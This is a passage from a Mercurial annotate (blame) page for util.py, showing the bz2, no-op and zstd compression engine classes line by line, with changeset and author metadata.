Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3613 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3614 class _bz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3615 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3616 return 'bz2' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3617 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3618 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3619 """An algorithm that produces smaller bundles than ``gzip``. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3620 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3621 All Mercurial clients should support this format. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3622 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3623 This engine will likely produce smaller bundles than ``gzip`` but |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3624 will be significantly slower, both during compression and |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3625 decompression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3626 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3627 If available, the ``zstd`` engine can yield similar or better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3628 compression at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3629 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3630 return 'bzip2', 'BZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3631 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3632 # We declare a protocol name but don't advertise by default because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3633 # it is slow. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3634 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3635 return compewireprotosupport('bzip2', 0, 0) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3636 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3637 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3638 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3639 z = bz2.BZ2Compressor(opts.get('level', 9)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3640 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3641 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3642 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3643 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3644 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3645 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3646 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3647 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3648 def gen(): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3649 d = bz2.BZ2Decompressor() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3650 for chunk in filechunkiter(fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3651 yield d.decompress(chunk) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3652 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3653 return chunkbuffer(gen()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3654 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3655 compengines.register(_bz2engine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3656 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3657 class _truncatedbz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3658 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3659 return 'bz2truncated' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3660 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3661 def bundletype(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3662 return None, '_truncatedBZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3663 |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3664 # We don't implement compressstream because it is hackily handled elsewhere. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3665 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3666 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3667 def gen(): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3668 # The input stream doesn't have the 'BZ' header. So add it back. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3669 d = bz2.BZ2Decompressor() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3670 d.decompress('BZ') |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3671 for chunk in filechunkiter(fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3672 yield d.decompress(chunk) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3673 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3674 return chunkbuffer(gen()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3675 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3676 compengines.register(_truncatedbz2engine()) |
30265
6a8aff737a17
util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30181
diff
changeset
|
3677 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3678 class _noopengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3679 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3680 return 'none' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3681 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3682 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3683 """No compression is performed. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3684 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3685 Use this compression engine to explicitly disable compression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3686 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3687 return 'none', 'UN' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3688 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3689 # Clients always support uncompressed payloads. Servers don't because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3690 # unless you are on a fast network, uncompressed payloads can easily |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3691 # saturate your network pipe. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3692 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3693 return compewireprotosupport('none', 0, 10) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3694 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3695 # We don't implement revlogheader because it is handled specially |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3696 # in the revlog class. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3697 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3698 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3699 return it |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3700 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3701 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3702 return fh |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3703 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3704 class nooprevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3705 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3706 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3707 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3708 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3709 return self.nooprevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3710 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3711 compengines.register(_noopengine()) |
26266
1e042e31bd0c
changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26201
diff
changeset
|
3712 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3713 class _zstdengine(compressionengine): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3714 def name(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3715 return 'zstd' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3716 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3717 @propertycache |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3718 def _module(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3719 # Not all installs have the zstd module available. So defer importing |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3720 # until first access. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3721 try: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3722 from . import zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3723 # Force delayed import. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3724 zstd.__version__ |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3725 return zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3726 except ImportError: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3727 return None |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3728 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3729 def available(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3730 return bool(self._module) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3731 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3732 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3733 """A modern compression algorithm that is fast and highly flexible. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3734 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3735 Only supported by Mercurial 4.1 and newer clients. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3736 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3737 With the default settings, zstd compression is both faster and yields |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3738 better compression than ``gzip``. It also frequently yields better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3739 compression than ``bzip2`` while operating at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3740 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3741 If this engine is available and backwards compatibility is not a |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3742 concern, it is likely the best available engine. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3743 """ |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3744 return 'zstd', 'ZS' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3745 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3746 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3747 return compewireprotosupport('zstd', 50, 50) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3748 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3749 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3750 return '\x28' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3751 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3752 def compressstream(self, it, opts=None): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3753 opts = opts or {} |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3754 # zstd level 3 is almost always significantly faster than zlib |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3755 # while providing no worse compression. It strikes a good balance |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3756 # between speed and compression. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3757 level = opts.get('level', 3) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3758 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3759 zstd = self._module |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3760 z = zstd.ZstdCompressor(level=level).compressobj() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3761 for chunk in it: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3762 data = z.compress(chunk) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3763 if data: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3764 yield data |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3765 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3766 yield z.flush() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3767 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3768 def decompressorreader(self, fh): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3769 zstd = self._module |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3770 dctx = zstd.ZstdDecompressor() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3771 return chunkbuffer(dctx.read_from(fh)) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3772 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3773 class zstdrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3774 def __init__(self, zstd, level=3): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3775 # Writing the content size adds a few bytes to the output. However, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3776 # it allows decompression to be more optimal since we can |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3777 # pre-allocate a buffer to hold the result. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3778 self._cctx = zstd.ZstdCompressor(level=level, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3779 write_content_size=True) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3780 self._dctx = zstd.ZstdDecompressor() |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3781 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3782 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3783 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3784 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3785 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3786 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3787 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3788 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3789 if insize < 50: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3790 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3791 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3792 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3793 compressed = self._cctx.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3794 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3795 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3796 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3797 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3798 z = self._cctx.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3799 chunks = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3800 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3801 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3802 pos2 = pos + self._compinsize |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3803 chunk = z.compress(data[pos:pos2]) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3804 if chunk: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3805 chunks.append(chunk) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3806 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
